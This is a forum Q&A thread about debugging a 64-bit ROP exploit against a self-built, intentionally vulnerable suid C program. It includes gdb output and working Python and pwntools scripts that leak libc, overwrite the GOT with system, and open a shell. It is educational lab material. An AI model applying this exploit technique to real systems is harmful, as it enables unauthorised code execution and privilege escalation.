So what's the story.. I'm following this tutorial on 64bit overflow exploit using rop. https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/
The c source to exploit is pretty simple and even includes a helper function to have the necessary assembly commands at hand; for c code and python script checkout the bottom of the post.
So I (try to) do the following:
I use the same approach as in the tutorial: setup a tcp listener with socat socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./leak run sudo gdb -q -p $(pidof socat) run python script exploit.py
I did verify
got entry appears in gdb to be overwritten with the system address
~ $ sudo socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./leak
relevant gdb lines when running:
Stopped reason: SIGSEGV
0x0000000000600b58 in _GLOBAL_OFFSET_TABLE_ ()
gdb-peda$ p write
$1 = {<text variable, no debug info>} 0x7f26035f6280 <write>
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7f2603544390 <__libc_system>
gdb-peda$ x/xg 0x600b58
0x600b58: 0x00007f2603544390
gdb-peda$ x/5i 0x00007f2603544390
0x7f2603544390 <__libc_system>: test rdi,rdi
0x7f2603544393 <__libc_system+3>: je 0x7f26035443a0 <__libc_system+16>
0x7f2603544395 <__libc_system+5>: jmp 0x7f2603543e20 <do_system>
0x7f260354439a <__libc_system+10>: nop WORD PTR [rax+rax*1+0x0]
0x7f26035443a0 <__libc_system+16>: lea rdi,[rip+0x147978] # 0x7f260368bd1f
...
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Exception (dump memory /tmp/peda-0xjqmnzi 0x7fff153a7000 0x7fff153a9000): Cannot access memory at address 0x7fff153a7000
Traceback (most recent call last):
File "~/peda/peda.py", line 118, in execute_redirect
gdb.MemoryError: Cannot access memory at address 0x7fff153a7000
Found 2 results, display max 2 items:
leak : 0x600b40 --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7fa6d6ddfd17 --> 0x68732f6e69622f ('/bin/sh')
relevant lines from the script output:
~/github/ghostInTheShell $ ./exploit.py
[+] b'input: '
[+] write is at 0x7f26035f6280
[+] libcbase is at 0x7f26034ff000
[+] system is at 0x7f2603544390
[+] sending system address
[+] sending '/bin/sh' string
[+] try to open a shell via telnet
so from gdb and output you can see that things should be ok regarding the address scheme. but for some reason it throws SIGSEGV and wont execute system as expected. I did some research and thought I found the issue which is called 'relro' but even if I turn this off with the option -Wl,-z,-norelro I still get the sigsegv error. So thats not it. ASLR and NX are turned on but everything else is turned off. Anybody got some ideas why this would fail in the last piece? Maybe there is some additional protection turned on I dont know about? Best Zaphoxx
P.S. suid is set for ./leak according to
-rwsr-xr-x 1 root root 7696 Nov 19 23:37 leak
so that should not be the issue here.
/* leak.c gcc -fno-stack-protector -o leak leak.c hint: make sure executing folder does not have nosuid flag set by checking out 'cat /proc/mounts' hint: turn of relro with -Wl,-z,norelro when compiling */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
// add some helper asm snippets for convenience
void helper(){
asm("pop %rdi;pop %rsi;pop %rdx;ret;");
asm("pop %rsi;ret;");
asm("push %rsi;ret;");
}
int vuln(){
char buf[150];
write(1,"input: ",7);
ssize_t l=0;
memset(buf,0,sizeof(buf));
l=read(0,buf,400);
printf("[+] recvd: ");
write(1,buf,l);
return (int) l;
}
int main(){
setbuf(stdout,0);
printf("<%d>\n",vuln());
return 0;
}
python script exploit.py:
#!/usr/bin/python3
# exploit for binary leak (leak.c)
from socket import *
from struct import *
import telnetlib
write_plt=0x4004f0 #address of write@plt
read_plt=0x400530
write_got=0x600b58 #address in got for write
write_off=0xf7280 #memsets offset in libc
system_off=0x45390 #systems offset in libc
pop3ret=0x40065a #pop rdi;pop rsi;pop rdx;ret;
writable=0x600b40 #writeable address
n=168 #padding
# part1: leak write address
shell=b""
shell+=bytearray("A","utf-8")*n
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",1)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",write_plt)
# part2: write system address into write got using read
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)
# part3: write '/bin/sh' into a writeable address
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",writable)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)
# part4: invoke system
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",writable)
shell+=pack("<Q",0xdeadbeef)
shell+=pack("<Q",0xcafebabe)
shell+=pack("<Q",write_got)
with open("pwn","wb") as p:
p.write(shell)
s=socket(AF_INET,SOCK_STREAM)
s.connect(("127.0.0.1",2323))
print("[+] {}".format(str(s.recv(1024))))
# send payload
s.send(shell+bytearray("\n","utf-8"))
# get back write address
data=s.recv(1024)
d=data[-8:]
write_addr=unpack("<Q",d)
#calculate libc base address
libc_base=write_addr[0]-write_off
#calculate system address
system_addr=libc_base+system_off
# send system address
s.send(pack("<Q",system_addr))
# send '/bin/sh' string
s.send(bytearray("/bin/sh","utf-8"))
print("[+] write is at {}".format(hex(write_addr[0])))
print("[+] libcbase is at {}".format(hex(libc_base)))
print("[+] system is at {}".format(hex(system_addr)))
print("[+] sending system address")
print("[+] sending \'/bin/sh\' string")
print("[+] try to open a shell via telnet")
# open a shell
t=telnetlib.Telnet()
t.sock=s
t.interact()
while(True):
s.recv(1024)
As I already commented using write_got
instead of write_plt
will make your exploit fail. While testing your exploit I found out that attaching gdb to the target process while running your exploit, I was getting weird output
[+] b'input: '
[+] write is at 0x203a647663657220
[+] libcbase is at 0x203a64766355ff70
[+] system is at 0x203a6476635a5300
[+] sending system address
[+] sending '/bin/sh' string
[+] try to open a shell via telnet
I suspect this is from the fact that you used python socket
. I have experienced in CTFs that sometimes you'll have to mess up with the buffering a lot. Its better to use a library already built for this. Check out my exploit how I have used pwntools to make my life easier for buffering inputs/outputs and for parsing ELF files so that you don't have to manually copy output from gdb.
SIGSEGV on an instruction that does no memory I/O (like xor %rdi, %rdi) generally means you’re executing a no exec page or your stack pointer or frame pointer are not mapped
so I finally figured it out with help from sudhackar (thanks a lot for pointing me in the right direction)
so basically there where two issues with the original code.
So maybe someone can answer that final mystery!
UPDATE: Wont open a root shell for either version. I will always only get a normal user shell.
I posted both scripts below, first my own version and second the pwntools version which basically does the same thing.
# exploit for binary leak (leak.c)
from socket import *
from struct import *
import telnetlib
def recvuntil(sock,key):
found=False
data=bytearray()
bkey=bytearray(key,"utf-8")
keylen=len(bkey)
while not found:
try:
b=sock.recv(1)
#print(b,len(b))
data.append(unpack("<B",b)[0])
#data.append(unpack("<b",sock.recv(0x1)))
except Exception as e1:
print("[error] in recvuntil !")
print(e1)
found=False
break
if data[-keylen:]==bkey:
found=True
print(data)
print("[+] found key \'{}\'".format(key))
else:
found=False
return found
write_plt=0x400520 #address of write@plt
read_plt=0x400560
write_got=0x601018 #address in got for write
write_off=0xf72b0 #offset in libc
system_off=0x45390 #systems offset in libc
pop3ret=0x40068a #pop rdi;pop rsi;pop rdx;ret;
writable=0x601048 #writeable address
n=168 #padding
# part1: leak write address
shell=b""
shell+=bytearray("A","utf-8")*n
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",1)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",write_plt)
# part2: write system address into write got using read
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)
# part3: write '/bin/sh' into a writeable address
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",writable)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)
# part4: invoke system
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",writable)
shell+=pack("<Q",0xdeadbeef)
shell+=pack("<Q",0xcafebabe)
shell+=pack("<Q",write_plt)
shell+=bytearray("\n","utf-8")
shell+=bytearray("EOPWN","utf-8")
#with open("pwn","wb") as p:
# p.write(shell)
s=socket(AF_INET,SOCK_STREAM)
s.connect(("127.0.0.1",2323))
#print("[+ #01] {}".format((s.recv(1024)).decode("utf-8")))
recvuntil(s,": ")
# send payload
bytes_sent=0
while bytes_sent<len(shell):
bytes_sent+=s.send(shell[bytes_sent:])
recvuntil(s,"EOPWN")
# get back write address
data=s.recv(8)
d=data[-8:]
print(data,d)
write_addr=unpack("<Q",d)
#calculate libc base address
libc_base=write_addr[0]-write_off
#calculate system address
system_addr=libc_base+system_off
# send system address
s.send(pack("<Q",system_addr))
# send '/bin/sh' string
s.send(bytearray("/bin/sh","utf-8"))
print("[+] write is at {}".format(hex(write_addr[0])))
print("[+] libcbase is at {}".format(hex(libc_base)))
print("[+] system is at {}".format(hex(system_addr)))
print("[+] sending system address")
print("[+] sending \'/bin/sh\' string")
print("[+] try to open a shell via telnet")
# open a shell
t=telnetlib.Telnet()
t.sock=s
t.interact()
while(True):
s.recv(1024)
same using pwntools:
from pwn import *
pop3ret=0x40068a
writable=0x601048 #writeable address
bin=ELF("./leak")
lib=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Start a forking server
server = process(['socat', 'tcp-listen:2323,fork,reuseaddr', 'exec:./leak'])
# Connect to the server
s=remote("127.0.0.1",2323)
s.recvuntil(": ")
#leak address of write
payload=b"A"*168
payload+=p64(pop3ret)
payload+=p64(constants.STDOUT_FILENO)
payload+=p64(bin.got[b'write']) #write@got
payload+=p64(0x8)
payload+=p64(bin.plt[b'write']) #write@plt
# part2: write system address into write got using read
payload+=p64(pop3ret)
payload+=p64(constants.STDIN_FILENO)
payload+=p64(bin.got[b'write']) #write@got
payload+=p64(0x8)
payload+=p64(bin.plt[b'read']) #read@plt
# part3: write /bin/sh to writable address
payload+=p64(pop3ret)
payload+=p64(constants.STDIN_FILENO)
payload+=p64(writable)
payload+=p64(0x7)
payload+=p64(bin.plt[b'read'])
# part4: invoke system
payload+=p64(pop3ret)
payload+=p64(writable)
payload+=p64(0xdeadbeef)
payload+=p64(0xcafebabe)
payload+=p64(bin.plt[b'write'])
payload+=b'EOPAY'
print("[+] send payload")
s.send(payload)
s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")
got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
libc_base=got_leak-lib.symbols[b'write']
system_leak=libc_base+lib.symbols[b'system']
print("[+] system: {}".format(hex(system_leak)))
s.send(p64(system_leak))
s.send(b'/bin/sh')
s.interactive()
User contributions licensed under CC BY-SA 3.0